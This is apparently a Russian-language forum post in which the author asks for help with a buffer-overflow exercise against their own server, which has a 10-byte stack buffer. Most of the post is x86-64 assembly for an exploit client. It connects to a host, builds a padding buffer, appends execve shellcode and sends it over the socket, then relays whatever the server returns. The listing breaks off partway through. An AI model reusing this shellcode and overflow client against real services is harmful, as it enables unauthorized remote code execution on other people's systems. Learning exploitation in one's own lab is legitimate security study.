![]() |
хочу понять как это работает и кое что не получается. я написал простенький сервер со стековым буфером, который равен 10 байт.
Код:
Code:[CODE] Code: ;DEFAULT REL global main extern printf extern inet_aton extern perror extern connect extern calloc section .text shellcode: mov rax, 59 mov rdi, [path] mov rsi, 0 mov rdx, 0 syscall exploit: push rbp mov rbp, rsp sub rsp, 8 mov esi, 1 add rdi, [size_of_shellcode] push rdi call calloc mov [rbp + 0], rax pop rdi mov ecx, edi xor rbx, rbx mov ebx, ecx mov rdi, [rbp + 0] xor rax, rax mov al, '0' d1: .loop_fill: stosb inc al dec ecx cmp ecx, 0 jg .loop_fill lea rsi, [shellcode] mov rcx, [size_of_shellcode] rep movsb mov rax, 1 mov rdi, [sock] lea rsi, [rbp + 0] mov rdx, [size_of_shellcode] syscall ;--- цикл чтения и записи ---- forever: mov rdx, 255 lea rsi, [buf_read] mov rdi, [sock] mov rax, 0 syscall mov rdx, rax lea rsi, [buf_read] mov rdi, 1 mov rax, 1 syscall jmp forever leave ret main: ;------ получаем сокет ------- push rbp mov rbp, rsp sub rsp, 16 xor rsi, rsi xor rdi, rdi xor rdx, rdx mov rdx, 0 mov si, [SOCK_STREAM] mov di, [PF_INET] mov rax, 41 syscall mov [sock], eax cmp rax, 0 jg continue_socket xor rax, rax lea rdi, [cant_socket] syscall jmp exit ;---- заполнить структуру ---- continue_socket: xor rax, rax mov ax, [PF_INET] mov [s + sockaddr_in.family], ax mov ax, [server_port] xchg al, ah mov [s + sockaddr_in.port], ax xor rax, rax lea rdi, [host] xor rsi, rsi lea esi, [s + sockaddr_in.s_addr] call inet_aton cmp rax, 0 jg continue_fill lea rdi, [cant_fill] call perror jmp exit ;------- подключение -------- continue_fill: xor rax, rax mov [s + sockaddr_in.data], rax xor rsi, rsi xor rdi, rdi xor rdx, rdx mov edx, [sizeof_s] lea rsi, [s] mov edi, [sock] xor rax, rax call connect cmp rax, 0 je continue_connect lea rdi, [cant_connect] call perror jmp exit continue_connect: ;---- написать сообщение ---- xor rax, rax mov rdi, 10 ; |
| Время: 12:24 |